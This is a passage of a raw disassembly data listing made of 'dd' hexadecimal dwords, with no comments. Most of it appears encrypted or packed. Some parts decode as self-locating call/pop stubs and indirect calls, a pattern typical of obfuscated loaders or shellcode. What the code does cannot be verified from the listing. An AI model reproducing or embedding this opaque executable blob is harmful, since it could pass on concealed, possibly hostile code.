0F0AE67BCh, 0B0A3E94Ah, 1014F8h, 30ED249Eh dd 0F29D841h, 833C8468h, 2ADA3774h, 6B000000h, 18C799F3h dd 0F4AA67BCh, 29A4069h, 0E68380E6h, 0A655AEFFh, 6BA75DBCh dd 67BC8433h, 416AF5A9h, 6D91F09Bh, 49h, 607CBC06h, 0FFE682FDh dd 0A8C8B923h, 48BEF40Bh, 0B4D839DFh, 7CBC03B2h, 0C8988552h dd 32D80984h, 0E70258BEh, 9C4B64FFh, 0E9277CBCh, 9F089679h dd 3F5BEB14h, 0FFE683DCh, 540BB10Ah, 84336BA7h, 0FC1469A9h dd 48EE17A2h, 94A4E091h, 0BB9AFFE6h, 0FFFFFD30h, 8379E054h dd 8FFFE6h, 5A9A3268h, 0E683DB3Eh, 336BA5FFh, 0E53E7FA8h dd 83D63955h, 0A3FCFFE6h, 9DC550FDh, 38C32C72h, 0E683A90Ch dd 631D46FFh, 0D208967Fh, 7BB1ED25h, 65F0721Ah, 3CD71F39h dd 0C7079F42h, 3CD648ABh, 6F156E42h, 0F52D34EEh, 937ACADDh dd 1EFh, 837AE024h, 0F990FFE6h, 3DBBD767h, 0A907E0A1h dd 0A86D1A50h, 0DB1B6BF6h, 0E0A05CBFh, 44035107h, 4C88F846h dd 6E38B20Bh, 8B3B1ABh, 5EB46107h, 0C250B540h, 513851DCh dd 15637F0Fh, 110FDB2Ah, 0B115FAB8h, 0FB36999Eh, 0CB15Ch dd 435BBB00h, 0ECB2600Dh, 920C09B6h, 3E60AF5Ch, 0E8B65B08h dd 0E2C97EB2h, 8C396F2Fh, 33E01688h, 0DE8BC1DDh, 64336935h dd 0F98DF00Ch, 4DB307E6h, 0F66CA796h, 8C17801Eh, 0BA4A1673h dd 0E6EBFF9Eh, 0B4449D07h, 63EEB05Fh, 0EB94F713h, 69C207E6h dd 9A68600h, 2ED7DAE9h, 7A9BF088h, 0D441EE24h, 7E653BB9h dd 7692AE65h, 7E6A713h, 167FE841h, 0B1ED268Bh, 0A87C0D26h dd 7E20F56Dh, 1CAC15h, 0FE0CFCEh, 0AC7D3B94h, 0AF9664EAh dd 0C20D574h, 0CA4C0000h, 21F19ED4h, 7B9A477Dh, 0CF40ED23h dd 25EC99CFh, 5A0F4379h, 0C8FEA071h, 6FA5F91Bh, 1A504EC2h dd 0C2F8A66Dh, 1C7F9BF3h, 4A07E6F9h, 6CA72DE4h, 1B841AF6h dd 12127790h, 0E7109B03h, 0A0D2EE7Eh, 7707E08Ah, 23AEF022h dd 68C525E9h, 55BE1E6Ah, 0D70D66AFh, 7FB5E92Ah, 65F56B1Eh dd 0E17FB549h, 0F888E10Fh, 4A7F07CEh, 0BD63530Fh, 5945D025h dd 0FF9F7623h, 9A040F74h, 6E8ACA0Ah, 0FE14C0Bh, 1174E039h dd 60FE14Ch, 4A61EB1Eh, 45D9EFBh, 0D7B2CB5Eh, 0ABDDF989h dd 0B717DB1Ch, 0BFC3A05Eh, 8DC8919Eh, 0B75EEh, 7F1FF700h dd 28769C49h, 0CED045F2h, 7A24EB98h, 247A9744h, 1E05BAEEh dd 0C875ABF3h, 6F1C524Ch, 1AC7FDA1h, 0A06FA5F9h, 0FAC92C48h dd 91F707E6h, 326CA7DAh, 100257A7h, 34DA038Eh, 0A699B6D3h dd 3A46E92Ah, 85A1319Ah, 7E13973h, 117490D0h, 3F07E139h dd 9EF740E6h, 4757BB68h, 0EDB16411h, 4ACA1FB7h, 0F3F7AE54h dd 0E53ACA96h, 0BBE46F2Fh, 0E83D7D15h, 0BFE8732Bh, 0AA2FA519h dd 429B07E0h, 0A9248BB7h, 0AD2E07E0h, 40CF24F3h, 4AAD35Eh dd 6EB4FC34h, 7C9A40h, 0A72B0000h, 43A8336Bh, 0DF44CFCFh dd 93E36E30h, 42CDD13Eh, 4CC67319h, 0CEBB1C52h, 74E60292h dd 6207E091h, 0EB864B09h, 2E699E64h, 0AAD8Fh, 4757BF00h dd 0F0AE6411h, 96080DBAh, 425CB360h, 0ECB25F0Ch, 0E6CD82B6h dd 903D732Bh, 37E41A84h, 0E28FC5D9h, 68376D31h, 0FB91F410h dd 59BF07E6h, 226BA7A2h, 0EC0ECACBh, 8F0F0463h, 0A087BD26h dd 78h, 0FEE2E58h, 0A7CA5331h, 6BA74A01h, 838DF00Ch, 5AB3FFE6h dd 3C4D66F1h, 38549424h, 0FFE683D5h, 2D28A2FBh, 0CBBE70DFh dd 0B8D46C12h, 7E0ED6Ah, 6ACDE929h, 9807E0EDh, 0F750993Fh dd 648C7E39h, 73124D9Eh, 0A22h, 9CD2CC4Ah, 457B23EFh, 0EB217D98h dd 97CDD13Eh, 417727EAh, 0A26F580Dh, 0FB19C6FCh, 50C06DA3h dd 0A86B184Eh, 99F1C0F6h, 0E6FB1A7Dh, 2BE24807h, 0A2326CA7h dd 4FDAC44Dh, 88ED8026h, 2388138Bh dd 0BD22ADF1h, 67C04B53h, 8ECC742Eh, 245C631Dh, 0C238748Bh dd 1E1h, 0E9937B53h, 1430C0A0h, 7E08A12h, 82D767C0h, 21660C92h dd 7831F9BDh, 3A5696FBh, 0F45431D7h, 9DFEA4FDh, 8FE474ECh dd 0DA721886h, 0D4CA459Ah, 53CCBA2Eh, 851AFC4Eh, 1E940E90h dd 47C7611Bh, 0E27B21Bh, 1555E57Bh, 0A54B53C0h, 7BE5A731h dd 69A63BFBh, 0E73CCC35h, 8DE2722Ch, 68911C82h, 3CD784C2h dd 0FB9DA462h, 73AE6DF4h, 959D4h, 9B031300h, 445AB865h dd 0EAB4610Eh, 960807B4h, 405EB360h, 3A21D60Ah, 0E491C7D7h dd 8B386E30h, 36E31985h, 0BC8BC1DDh, 0FBE54864h, 0A50B07E6h dd 336BA7EEh, 66FA8FA8h, 0EBE4BAD6h, 99F207E6h, 3E60B409h dd 0F71B7008h, 81B93E96h, 0D53E7BEAh, 0C92822Fh, 3F216881h dd 783D93AFh, 10690FE1h, 0B5E92B80h, 11BDE77Fh, 0C24A543Ah dd 0C94BF89Eh, 0BC257999h, 5747CC31h, 64DEB299h, 0BF5E9996h dd 8D6h, 0E81E8096h, 91C7D73Bh, 376D31E4h, 0E319858Ah dd 8DC3DB36h, 56BBA459h, 0AF651248h, 40CB9EFh, 5CB7649Ah dd 0E53D0C42h, 0E6FC66C9h, 6F268C07h, 836DC8F4h, 0D902FFE6h dd 56AB331Fh, 0D93AE0BEh, 420B0B0h, 7E086AEh, 0D0CE47DCh dd 0AA916756h, 1F880434h, 14254F8Fh, 0C79573Fh, 9B7A27CDh dd 1D6CCD03h, 0BA97B343h, 0E40FDDD8h, 66BBFB8Bh, 0A24FF5A9h dd 4AF72D71h, 3A17D5C9h, 0D9998B7h, 85033D2h, 0FA1C0000h dd 51C16EA4h, 0AB6A174Dh, 0FF10BDF3h, 55BC699Fh, 2ADF1349h dd 98CED041h, 3F7529EBh, 0EA207E92h, 92C8D63Dh, 0EC4F6BC3h dd 1A07E6FCh, 79E0FDB4h, 43FFE683h, 3798CED0h, 627E0E52h dd 7E0D261h, 2E34DF34h, 62FBAE4h, 55AEF79Dh, 0FEA070C5h dd 0A9F51BC8h, 728ECE1Eh, 7E0D20Fh, 4F36DC35h, 7EAh, 0B996F3E8h dd 0CEFEFFBBh, 967D2261h, 0EB547D08h, 79C13F5Bh, 0C41D07E1h dd 0D8940A34h, 2D4ED9D7h, 7AA4F487h, 0DCDF509Ch, 848B309Fh dd 9900741Ah, 0A307E099h, 29616822h, 0C7406EA5h, 18Eh dd 0B81B3777h, 0DE07E08Dh, 6E30E085h, 5D14BAE3h, 0F1AD67BCh dd 8C120166h, 40D07D23h, 0A55E624Dh, 157EA92Ah, 0BFDF3085h dd 0D2650B34h, 5B075882h, 0C05A6C4Ah, 0F7A76D1Ah, 920C076Ch dd 306EA207h, 0DBC34DFAh, 0D7D60050h, 0FBC81A42h, 36C32E0h dd 0D48EFC5Dh, 0F5FD2844h, 3F94FFE6h, 1C8292D0h, 6BC40DB3h dd 6B254EE0h, 0D5048987h, 0EFB818E4h, 0D56DA30Ch, 0E9167995h dd 0E33CFFE6h, 1E80903Dh, 0E9F86793h, 1555FFE6h, 0C14C52C0h dd 0B771F298h, 2B613DD3h, 12A2C0CAh, 0B5CA8D2h, 4A77F69Fh dd 71D530A4h, 92EBFFE7h, 43A6C202h, 71FFE771h, 7ADF7218h dd 21CE049Ah, 0D020ABF3h, 71117490h, 0E63FFFE7h, 0F7809340h dd 0E77178DBh, 0B5459EFFh, 0E7713699h, 9A035CFFh, 260B50Ah dd 0DC05900Eh, 0A83ACD73h, 33E1C57Fh, 8C88356Bh, 0E2378712h dd 69CA702Eh, 70B04020h, 17BDD446h, 1BC14C6Dh, 0E16D25A7h dd 2389107h, 54DFBF55h, 45A8C404h, 6B07E168h, 7F0B6C12h dd 0D63551E1h, 0B507E168h, 67F65975h, 0C31C07E1h, 0F07BD41Dh dd 89148A8Bh, 28B3EB24h, 0BB36D96h, 72561039h, 2EC6FCA2h dd 0DA6539D9h, 0B65E0BB1h, 45445DE8h, 696F8B1Bh, 550FDB92h dd 0FB19C6FCh, 0FCE913A3h, 52833F1Fh, 99247A9Bh, 0B1620770h dd 5C0947EDh, 55AEAB4h, 0EB4E6A0Dh, 19FFE74Ah, 60B257C0h dd 0C25A983Eh, 1476D198h, 3ADABDC2h, 47B0D964h, 96F3EAA1h dd 0D0FA3ACAh, 1AC6C883h, 54C86EFCh, 7E10B72h, 8816FC51h dd 0E52ED4FDh, 769C018Ch, 0F33BF228h, 0EC3CC799h, 95207E97h dd 0EB52C66Ch, 0F5FFE682h, 7BB3BA74h, 1938748Fh, 22h, 29C74C9h dd 6BA7A55Ch, 197CA833h, 0B6FFE683h, 23EFD38Dh, 0AED1457Bh dd 0ACFFE6A8h, 0FFFFC2CDh, 6CA766FFh, 0F5801EF6h, 0C1B463CCh dd 0C799F352h, 845F1618h, 3774833Ch, 3BDAh, 0DD358A00h dd 0F3641BC1h, 0BC18C799h, 82FD607Ch, 69EAFFE6h, 0D837ACA8h dd 4BF14A8Bh, 0D13497B3h, 962FFE6h, 37CC4F79h, 0F4ACA00Fh dd 5DBC974Eh, 84336BA7h, 166D4AA9h, 6000000h, 18C799F3h dd 833DA0BCh, 2841FFE6h, 0A75DBC79h, 0A984336Bh, 306EA74Ah dd 831679A5h, 82ABFFE6h, 6D31E4C8h, 93D3C337h, 0BDDAFFE6h dd 4FD40098h, 0C9E0BF28h, 79FFFFF4h, 0FD336BA7h, 0E373ED9Ch dd 832487A3h, 0F952FFE6h, 259FBB53h, 0C107E0B7h, 0B6C22541h dd 97F007E0h, 1077A32Eh, 1A07E0B6h, 0E610DF99h, 0B2C80F85h dd 7BD4F5F0h, 0E85C9417h, 7646057Fh, 2C18D889h, 1A7EB686h dd 1065406Fh, 14F59B03h, 0Ch, 66DA5h, 0D0250000h, 0FEB55B43h dd 0F6A867BCh, 3B9C426Bh, 4282124Eh, 17B23EDh, 648D964Ah dd 9E12B8B2h, 7E0C310h, 65A5358Eh, 0E0C1E649h, 0DB30C07h dd 0A1FD157Ah, 0C35EF76Bh, 0EC2407E0h, 41CF7CB2h, 0E441D25Dh dd 6635EF68h, 0A9F3663Ch, 0A84EF7FAh, 538915FBh, 0BF316DA6h dd 80E3FF3Fh, 0A607E0F1h, 19FAA74Dh, 977E1385h, 0FD177C07h dd 0C9FA16A1h, 71F2670Fh, 39BEE8B7h, 86557C6Ah, 0FD122FA9h dd 836F2F55h, 0BBE330DDh, 5F3FD62Bh, 0C005ABD4h, 834C8419h dd 0CDEA37F4h, 9A000000h, 83DB3E5Ah, 9EBAFF66h, 0FF66833Bh dd 76CF1069h, 0B95F3FD1h, 0C997F302h, 3AA0BC1Ah, 46FFE683h dd 5DBC7E2Dh, 0A72513D3h, 0BC83326Ch, 4BF1AD67h, 99F349B8h dd 5F1618C7h, 74833C84h, 45DA37h, 0F36B0000h, 0E237C799h dd 0FC66C32h, 833DA0BCh, 0BF14FFE6h, 99C24D51h, 0A251AAF3h dd 7527CBCh, 883F4A02h, 55E0BE57h, 661DC32Ch, 0A3336BA7h dd 33D9C54Eh, 6D4AA97Ch, 3Ch, 66C9E525h, 8CFFE683h, 0F3D68D33h dd 16888B99h, 83076A86h, 0D42DFFE6h, 7CBCBC6Bh, 0E682FD60h dd 24CA23FFh, 830D708Ch, 0F811FFE6h, 0A75DBC49h, 0A984336Bh dd 0A3FB1469h, 9249EF18h, 0F6A867BCh, 85A9316Bh, 1A9FC6ECh dd 2A240BB1h, 0BDFFFFFFh, 0A3DD92BCh, 0B01C5C20h, 0E8B65D0Ah dd 0B1CD0D5Dh, 0FFE7154Eh, 0C8751B74h, 71B0424Bh, 0BEE36AF3h dd 0CBBE1F55h, 0DBEF526Eh, 0BC15FFE6h, 0DCAD102Ch, 7AD3FFE6h dd 17418111h, 521B4BD8h, 8C00A634h, 7E157F2h, 80AC3790h dd 7E10319h, 0E1E8A223h, 406F0BA9h, 3747h, 96F3D800h, 501E3ACAh dd 4E07E09Ch, 0F01A6AF5h, 0E4A8BA65h, 1E923822h, 7E11CB7h dd 0B78640C1h, 46F4038Dh, 3EE3A68Fh, 163FCAD4h, 0AC68A070h dd 0BB06406Eh, 97000000h, 19F66CA7h, 41911C85h, 0C1B47E17h dd 10B6D062h, 65F0AE63h, 8B1300h, 0F026789Bh, 0E6CD617Ch dd 0A6F81BFFh, 4E50C370h, 81DFAAC3h, 0B95CB1F1h, 0CFCF40E5h dd 0DACFB529h, 0A2FB07E0h, 0E27E0B6Ch, 0BD5A3652h, 2B840FDDh dd 0D3CB469Bh, 7D21F09Dh, 9853A8BFh, 0D170AB99h, 286h dd 386E30E6h, 0E117878Bh, 87BDE134h, 336935DAh, 0DD138B86h dd 60BF4A9h, 5FB56298h, 0B45C093Fh, 0C07B4EAh, 358D5C92h dd 0E703B619h, 0BF76DC07h, 28236AA7h, 0C3A96B83h, 0AF0494FDh dd 570B2C61h, 0D4C4804Eh, 0DA87C56Bh, 972F6539h, 0BDD83B57h dd 7EFEFFE6h, 0E6BCFF62h, 63CC25FFh, 96F306BDh, 501E3ACAh dd 4E07E09Ch, 0F01A6AF5h, 0E3A85A65h, 1D9137ECh, 7E0E6B6h dd 0B6853FC0h, 51BA0E8Ch, 0D47AF026h, 6EF5CC04h, 3B89B340h dd 0EBEE7E9Dh, 55E00131h, 9EC44ADBh, 0AC17F8h, 72C70000h dd 4856BFA3h dd 0A78239DFh, 431FF66Ch, 0FB64CDD1h, 98060B70h, 0BFCDE08h dd 0EB74D33Fh, 0C5EE7925h, 0F723B65Ch, 0FFE772DCh, 0FB316DA6h dd 4ED9C54Eh, 7C0C5435h, 0E1877A60h, 194FA807h, 0C2254181h dd 0F007E17Dh, 0F990F197h, 58F21556h, 45AEA55Ah, 7D5E99B5h dd 2B840FDDh, 0D3CB469Bh, 7925EE43h, 29E895D3h, 22B6B775h dd 5E999998h, 175BFh, 7F1FF700h, 28769C49h, 0CED045F2h dd 7A24EB98h, 247A9744h, 1E05BAEEh, 0C875ABF3h, 6F1C524Ch dd 1AC7FDA1h, 0A06FA5F9h, 4C92C48h, 91F707E7h, 346AA7DAh dd 0DCC251FEh, 6CA7EFA6h, 0D142A732h, 533697CDh, 0B617D0Dh dd 1707E086h, 0D78B94ADh, 73DC9488h, 2487A3E3h, 5207E08Dh dd 66BB53F9h, 0EBBF1ADh, 0C9099905h, 0E08D4AADh, 0AA0D2907h dd 0D807E08Dh, 3FE53E7Fh, 6AF693ACh, 0F4E0BEDAh, 5AAF0FE0h dd 2F58E3BBh, 29E74089h, 96648B2Ah, 0DF27C601h, 8D000000h dd 32DF1589h, 0DB88BEE0h, 812E643Ah, 2DDA108Eh, 5084BAE4h dd 415DB49Bh, 0E8B65E0Bh, 930B05B2h, 3B63B05Dh, 0C2DE3605h dd 7E7045Fh, 0F3681F85h, 0FA3ACA96h, 98B255D0h, 0F99F804Bh dd 0E7E0A385h, 0E676CF07h, 14278AA6h, 28E907E7h, 36DC3576h dd 0C9D53EA3h, 352DE693h, 0D36C1DDh, 74C919A4h, 0E458FEA0h dd 51D0C38Bh, 0B5D11161h, 41CFC152h, 81E40080h, 0AF41CFC1h dd 0C647ED56h, 0B3EB280Ch, 3056F923h, 0FAABE299h, 0D1FA8519h dd 59BCD868h, 8741CFA5h, 0B24A882Eh, 0A4F35672h, 0B72141CFh dd 811AF3D7h, 0C66CD5FAh, 0A768FA19h, 0DA436CF7h, 7925EA4Fh dd 79335CEEh, 0EA207E95h, 0FDB7D63Dh, 0A1FD15DEh, 0A573ED16h dd 590F986h, 0D66h, 7BBBFF00h, 83BC1F3Bh, 91EAFFE6h, 6FA734EBh dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 51528510h, 0C181E189h dd 4, 4E981h, 0C870000h, 1C895C24h, 17E66824h, 0C890000h dd 29816824h, 2C890000h, 0A9B85024h, 50080069h, 9A685859h dd 8900003Dh, 4812424h, 424h, 0EC815D00h, 4, 81240C89h dd 1ECC242Ch, 458F4E07h, 8458108h, 4E071ECCh, 57242C8Bh dd 0C781E789h, 4, 8704C783h, 8B5C243Ch, 8957240Ch, 4C781E7h dd 83000000h, 3C8704C7h, 85E95C24h, 0D7FFF9FBh, 82EAB8C7h dd 0C5030800h, 6585C650h, 4707FA06h, 38172568h, 0A5B5FFCFh dd 8D07FA08h, 0FA3AE285h, 8BD0FF07h, 11858DD8h, 5007FA03h dd 10468h, 0C6D3FF00h, 0FA066585h, 0BF685307h, 0FF8307F8h dd 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah, 898589D0h, 83080067h dd 0FA3135BDh, 840F0007h, 0Bh, 2B459D8Bh, 5E907FAh, 0BB000000h dd 0 dd 10068h, 8DB58D00h, 56080067h, 5195FF53h, 8D07FA29h dd 678DB5h, 0E9F00308h, 1, 5C3E804Eh, 9840Fh, 3E800000h dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 800678Dh, 8995FF50h dd 58080067h, 0AD9BE0FFh, 8DA73746h, 0D9170A1Ch, 2638125Dh dd 7E6713Ah, 52794872h, 0F3F74465h, 0CA7454E5h, 0D3C64D4Ch dd 69A25419h, 65BA75A7h, 33145739h, 8FD200Dh, 0C0D00023h dd 20896AF7h, 83B74B6Fh, 0E11F7AD9h, 0B1871EC9h, 0F99767A3h dd 0B72909CEh, 0CE83CE0h, 18000000h, 0D698B16Ah, 0D5563420h dd 58ED952Ah, 0DE9h, 33A86E00h, 0B7DD0061h, 424D3A13h dd 0C0817C54h, 5964h, 0D38B6660h, 10E950h, 48080000h, 0AE3683F6h dd 0DC0B2EF5h, 8F6EE9F2h, 6159DFDBh, 162668h, 28E0F00h dd 8B000000h, 8B605BCBh, 30FF61DAh, 6820F5Ah, 81000000h dd 6CEFC6D9h, 6FF28156h, 0FC49D789h, 280EF281h, 0A4BF3514h dd 811791ACh, 0D3F152C2h, 0CE933h, 99640000h, 667E8499h dd 3D4B26A1h, 10896442h, 8101E883h, 3FE142D7h, 48484819h dd 12850F4Bh, 0B5000000h, 29E99Fh, 6FB40000h, 7BE89E3Dh dd 255FFDFDh, 16F18195h, 0E94159F3h, 0FFFFFF96h, 7C077CDBh dd 46046BB3h, 90C39103h, 33057974h, 8DEEBCCCh, 85ED8Dh dd 0E7816608h, 8D899A52h, 7FA1CD9h, 21B98D29h, 85C707FAh dd 7FA31ADh, 6BDCh, 43EAE681h, 85C7133Ah, 7FA2BD9h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 75C35040h dd 2DB5FF7Ah, 6A07FA11h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 5A6C352h, 95091C6Ah dd 7FA0E21h, 179995FFh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 6A4B39C3h, 1995FF00h dd 8B07FA10h, 2459EBC0h, 0D3108194h, 10DFE46Bh, 0A43191E1h dd 21CB5B5Ah, 62E9DEC7h, 7E49300Bh, 88FB2F51h, 1C73A60Bh dd 0FB1D0E00h, 0FD111786h, 0A43F4A8Bh, 0FD62118h, 0D1D8DA22h dd 82750553h, 113F9DD3h, 24167A55h, 0CC1B6C96h, 42E7D104h dd 0B100E5F6h, 0DAE44856h, 43FBC84Ah, 4010180Dh, 0DE8h dd 0EFE27C00h, 0D18ABC08h, 0E0CEE74Dh, 5AF53D36h, 23A99D89h dd 0C28107FAh, 6CA2h, 0FE9h, 60644000h, 0BA63065Dh, 47EE13EBh dd 27388ED7h, 1B08BFh, 8BF08B00h, 6FC1810Ah, 600B9F07h dd 0C281F8B2h, 3D65ECE8h, 0C4C18161h, 81619DE2h, 0BE9A9FE9h dd 0E951F502h, 0Ch, 3D41529Eh, 0BD027DB0h, 2F3949C5h, 0EA83028Fh dd 0B5896004h, 7FA2201h, 0C065CABEh, 0F4F611Fh, 0FFFFB685h dd 71B501FFh, 8D07FA17h, 877D8Dh, 55006A08h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 258EBADCh dd 6AB8295Eh, 0B71CB866h, 8D89FE8Bh, 7FA1CD9h, 0C75AF780h dd 0FA31AD85h, 6C1007h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8BE73049h, 0FA1119B5h dd 0D985C707h, 7FA2Bh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 65B6C356h dd 0B5FF651Fh, 7FA167Dh, 0F6DB8166h, 9995FF98h, 6A07FA17h dd 1995FF00h, 8B07FA10h, 230EEBC0h, 492DC609h, 834CF2D1h dd 0D0919E04h, 2FE99Dh, 0D1A00000h, 8C933A1Ch, 0E89DE61Dh dd 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h dd 4 dup(0) dd 708E900h, 36680000h, 0E9080089h, 0FFF9F720h, 8A0668h dd 0F716E908h, 0BB68FFF9h, 0E908008Ah, 0FFF9F70Ch, 8B7768h dd 0F702E908h, 6368FFF9h, 0E908008Ch, 0FFF9F6F8h, 8D3268h dd 0F6EEE908h, 6AACFFF9h, 0C151FE34h, 1BFAA7DDh, 6FA04D83h dd 0C54CF92Fh, 0BA6FA3D9h, 285E40D1h, 0CF05997Bh, 7AB0EE22h dd 225846CDh, 7CDFFB53h, 0AA07E70Bh, 1D6D8D44h, 6000000h dd 0A7326CA7h, 8191D142h, 0C469921Dh, 9AC34E50h, 2087FB31h dd 0EAFFE683h, 8B427826h, 3ACA96F3h, 0E084E81Eh, 0B061F607h dd 0D13A63EEh, 7F741741h, 0CE3A7AB7h, 0F0459528h, 0C6EF7A24h dd 0FD8ABA4Ch, 0BE648110h, 0E179E34Ah, 0B26CED07h, 0F8A9B9E3h dd 715B1DECh, 60C3FBCBh, 7A61406Fh, 0F2000002h, 1FF992BCh dd 0D2F27E3Ch, 9842532Ch, 0C0DE33F1h, 0A9ABC757h, 0D07E0F1h dd 9D1377B4h, 31CC0F99h, 5C780858h, 0CBB54D26h, 0EF739F34h dd 0CAF37E20h, 44ADD661h, 3BE9A0B9h, 163FCAD4h, 4B076A86h dd 0D42DC415h, 8986DB6Bh, 0FB643AD9h, 58E3BB56h, 0D5F1892Fh dd 0CC12EF4Bh, 5338ED57h, 6BA7177Bh, 4487202h, 0FA934737h dd 54A941E7h, 0F4FDFBFh, 0F450B3CFh, 1D76C3B9h, 0B9F44EB1h dd 9E0010C3h, 5EC1DD5Dh, 84C3B9F4h, 0DE1CC22Bh, 0FEBCE231h dd 5A4DB6ABh, 0E5D271ACh, 0DD000004h, 822F6539h, 2BD80E90h dd 0D17EB4EAh, 7D2A603Eh, 0A0D40A94h, 910D04EBh, 3866AE5Bh dd 0E3BB5502h, 8B1300ADh, 122E8655h, 7E70CAFh, 0A7B86FD5h dd 4DA2326Ch, 247A9BC7h, 94F630BBh, 0CC32D7E7h, 0E4771D86h dd 12A2BECBh, 0BE4955BDh, 3B57EF95h, 7E0E369h, 6ED1ED6Dh dd 9407E0E2h, 0C39CD23Bh, 0DF8108B2h, 841AFA4Fh, 922AD0F9h dd 0DAE87476h, 0CC09620Fh, 84959C68h, 89D7B298h, 64A7DDF9h dd 5AB3A07Eh, 66D3B6CFh, 4E63E74Ah, 24B40D9Fh, 4E64A508h dd 972CB9Fh, 7D35D79h, 76CFA74Ch, 4A66A6E6h, 9880C4E7h dd 610EB40Dh, 75CECB2h, 0DF08930Bh, 0E63FB39h, 0EAB46101h dd 27CD365Fh, 4705997Ah, 1048518h, 1511B0EBh, 0AD000004h dd 52FF3569h, 0FBA8DEC0h, 0A14E841Ah, 4DFA306Eh, 70A4DAC4h dd 613DD4BBh, 8967E2Bh, 0B3EB25D2h, 5B43D07Dh, 0E2FE5625h dd 7E70D7Fh, 0A7883FA5h, 8D10216Ch, 0DB009853h, 0AB25FBD1h dd 0C754121h, 3F216881h, 56E193AFh, 61B607E1h, 0C64AEFAFh dd 7E244DD8h, 537ECB35h, 0ADAD59C1h, 21760E44h, 0A708AEF0h dd 0AEEE7EE2h, 0E0A62F92h, 6CFC5507h, 0E0A5ED50h, 14BA1307h dd 0E0FC3C7Ch, 7E0A67Dh, 3FCAD43Fh, 0D67CD516h, 0E12D9C62h dd 0E171CA0Fh, 0E117878Ch, 34BFDF34h, 1E808FE4h, 0EE721778h dd 4C88425Eh, 55E17DBh, 9E470E47h, 7A6E191h, 360h, 0B4EAB462h dd 5D930B07h, 33965B0h, 0AFE5B956h, 598F0F02h, 8A877025h dd 0E331DE14h, 38D885BBh, 90833066h, 0B109D80Eh, 0E70D3295h dd 43FA6007h, 0A7326CA7h, 0D565FB8Eh, 0CDD14095h, 0FF731942h dd 7E083BDh, 96C050A9h, 2434DFF1h, 42D37804h, 9178B65Ch dd 1B0h, 0C56F7B2Ah, 0F65975C4h, 1CFFE682h, 9BC758B2h dd 93FC96A8h, 0CF459A2Ah, 751B44CFh, 96BFC1DDh, 0CA2307E0h dd 8602298Dh, 0F198FD1Dh, 0F1C3DF6Fh, 0F5FAA79Fh, 91F8119Ch dd 99233FCFh, 0DFD2103h, 44CF24B4h, 6E8ACA5Ah, 0F2A8020Bh dd 336BA439h, 70167FA8h, 108E8532h, 5FB87952h, 8A7E26Bh dd 2A4h, 70A6F81Eh, 194F4FC3h, 0BFF5A96Ch, 6BA1FD12h, 154B53BEh dd 0CE432CE1h, 27ED9AD0h, 7C944177h, 0D43FEC22h, 6DC594CAh dd 0E70DEE51h, 0F7AE1407h, 0A7326CA7h, 0E829FB8Eh, 0A1BD4DB6h dd 7E0A0CFh, 0AC447AD3h, 3EE3BB57h, 133CC7D7h, 0DD87946Dh dd 0E718DACh, 3407E0A0h, 0B7D361DBh, 207DCC16h, 90B27B7h dd 5E0FDB7Eh, 0A4616134h, 0E48A2D36h, 72B2429Bh, 0E725F356h dd 888C21FFh, 0C207AD16h, 0C90EDE5Eh, 5D79B98Eh, 8EC7CDFAh dd 0CE5ABDD9h, 2F888EC7h, 8EEF95EEh, 80D565FBh, 58810C92h dd 9A405EB3h, 0A76DC202h, 0DFBF52F7h, 0EEF3C539h, 0C61F96C1h dd 0F967223Bh, 684A3F69h, 470BF38Dh, 63ED09A1h, 3090FFA9h dd 0A471D4F0h, 469F8ECCh, 0A42F6FA1h, 338CD57Bh, 0D9C54EA3h dd 811DF6A3h, 78E606C3h, 6F0E4917h, 1B8h, 5C920C0Ah, 53B63AFh dd 0ABE1BD58h, 578D11FEh, 13767AAh, 0E22F18CDh, 3BD986BCh dd 90802D63h, 0E82BD80Eh, 59B180B6h, 0E70FDA3Dh, 0EBA20807h dd 0C67F92BCh, 1B1BC7C2h, 534BC875h, 86DAAFC8h, 0B061B6F6h dd 953A63EEh, 6A931E80h, 319E50C4h, 6BC407E1h, 415D9D35h dd 7E111DEh, 4E05AB04h, 3ACA96F3h, 0E70B621Eh, 93237C07h dd 94F71353h, 8907E70Ah, 128D654Ah, 0CC256620h, 49A7926h dd 0ACF221CEh, 0DF810821h, 0A165334Fh, 0EC810FE7h, 0C2EB7628h dd 9A8A5748h, 0DD467BF2h, 6A31234Dh, 5ED8C649h, 21C75473h dd 0BFDF3489h, 5637DC89h, 0FE095AC6h, 5EE95290h, 8C1C4445h dd 0E0B30E70h, 1DDB3407h, 9E64E9BAh, 0E9BF5E99h, 0D9000000h dd 7E2B613Dh, 27D40A94h, 0CD7AB0EEh, 79265C42h, 9CD00698h dd 8D1100E7h, 346AAA57h, 0DFBF51FEh, 8717FCA9h, 0E2A8251h dd 7E710ABh, 0BCBC73D9h, 134BD092h, 58FE9FAAh, 839292F7h dd 61141E0Ah, 46D3219h, 85EEB05Fh, 0B307D9F5h, 0B20B07E7h dd 4D51C227h, 0FE617DBDh, 2407E6B1h, 0B22588A4h, 0F24B07E6h dd 7ADDF989h, 0A807E6B2h, 0BE6BA94Fh, 0FC533855h, 0C1666D96h dd 287DCD58h, 22BB6E8h, 0BE2FE85Ch, 84BD3A03h, 712DE6CAh dd 8858E3Bh, 9496FE53h, 3D6EE880h, 1F6580EFh, 60C550B9h dd 0D264EFAFh, 80BEFA9h, 17F0536Fh, 81163A03h, 5A830E90h dd 0A55288F1h, 29B1F6Eh, 0D971ACDEh, 36B5ABDh, 0C62F883Ah dd 9D78CD5Dh, 29C85B01h, 14h, 3B7BBBC2h, 0E683BC1Fh, 1791EAFFh dd 91726E2Fh, 883FE5C3h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh dd 85108E84h, 0E0895052h, 